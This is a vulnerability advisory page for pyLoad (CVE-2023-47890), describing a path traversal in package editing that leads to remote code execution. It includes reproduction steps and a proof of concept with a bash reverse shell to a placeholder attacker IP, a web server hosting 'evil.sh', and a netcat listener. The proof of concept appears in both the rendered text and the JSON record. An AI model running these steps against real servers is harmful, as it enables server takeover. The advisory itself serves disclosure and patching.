GHSA-H73M-PCFW-25H2
Vulnerability from github – Published: 2023-11-21 22:19 – Updated: 2024-01-08 22:14Summary
A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.
Details
When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.
src/pyload/core/api/init.py::add_package::L432
folder = (
folder.replace("http://", "")
.replace("https://", "")
.replace(":", "")
.replace("/", "_")
.replace("\\", "_")
)
So if a package were created with the name "../" the application would instead create the folder "/downloads/.._/"
However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.
src/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195
id = int(flask.request.form["pack_id"])
data = {
"name": flask.request.form["pack_name"],
"_folder": flask.request.form["pack_folder"],
"password": flask.request.form["pack_pws"],
}
api.set_package_data(id, data)
Steps to reproduce
- Login to a pyLoad instance
- Go to "Queue" and create a new package with any name and a valid link
- Click "Edit Package" on the newly created package and set the folder as "/config/scripts/download_finished/"
- Restart the package
- Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/download_finished/"
Remote code execution proof-of-concept
It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.
On attacker machine
- Start a web server hosting a malicious script
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1
sudo python3 -m http.server 80
- Start netcat listener for reverse shells
bash
nc -vklp 9999
On pyLoad
-
Change pyLoad file permission settings
Change permissions of downloads: On Permission mode for downloaded files: 0744
-
Create a package with link pointing to the attacker
http:///evil.sh
-
Edit package and change folder to /config/scripts/package_deleted/
-
Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad
-
Delete any package package to trigger the script
Impact
An authenticated user can gain control over the underlying pyLoad server.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.0b3.dev75"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-47890"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2023-11-21T22:19:10Z",
"nvd_published_at": "2024-01-08T20:15:44Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.\n\n### Details\n\nWhen a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can\u0027t traverse directories and stays within /downloads.\n\nsrc/pyload/core/api/__init__.py::add_package::L432\n\n```python\n folder = (\n folder.replace(\"http://\", \"\")\n .replace(\"https://\", \"\")\n .replace(\":\", \"\")\n .replace(\"/\", \"_\")\n .replace(\"\\\\\", \"_\")\n )\n```\n\nSo if a package were created with the name ```\"../\"``` the application would instead create the folder ```\"/downloads/.._/\"```\n\nHowever, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.\n\nsrc/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195\n\n```python\n id = int(flask.request.form[\"pack_id\"])\n data = {\n \"name\": flask.request.form[\"pack_name\"],\n \"_folder\": flask.request.form[\"pack_folder\"],\n \"password\": flask.request.form[\"pack_pws\"],\n }\n\n api.set_package_data(id, data)\n```\n\n### Steps to reproduce\n\n1. Login to a pyLoad instance\n2. Go to \"Queue\" and create a new package with any name and a valid link\n3. Click \"Edit Package\" on the newly created package and set the folder as \"/config/scripts/download_finished/\"\n4. Restart the package \n5. Check the server filesystem and note the link was downloaded and stored inside \"/config/scripts/download_finished/\"\n\n### Remote code execution proof-of-concept\n\nIt is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.\n\n#### On attacker machine\n\n1. Start a web server hosting a malicious script\n\n```bash\necho -e \u0027#!/bin/bash\\nbash -i \u003e\u0026 /dev/tcp/\u003cattacker_ip\u003e/9999 0\u003e\u00261\u0027 \u003e evil.sh\u00261\nsudo python3 -m http.server 80\n```\n\n\n2. Start netcat listener for reverse shells\n\n ```bash\n nc -vklp 9999\n ```\n\n#### On pyLoad\n\n1. Change pyLoad file permission settings\n\n Change permissions of downloads: On\n Permission mode for downloaded files: 0744\n\n2. Create a package with link pointing to the attacker\n\n http://\u003cattacker_ip\u003e/evil.sh\n\n3. Edit package and change folder to /config/scripts/package_deleted/\n\n4. Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad\n\n5. Delete any package package to trigger the script\n\n### Impact\n\nAn authenticated user can gain control over the underlying pyLoad server.",
"id": "GHSA-h73m-pcfw-25h2",
"modified": "2024-01-08T22:14:13Z",
"published": "2023-11-21T22:19:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-h73m-pcfw-25h2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47890"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/commit/695bb70cd88608dc4fee18a6a7ecb66722ebfd8f"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
},
{
"type": "WEB",
"url": "http://pyload.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Download to arbitrary folder can lead to RCE"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.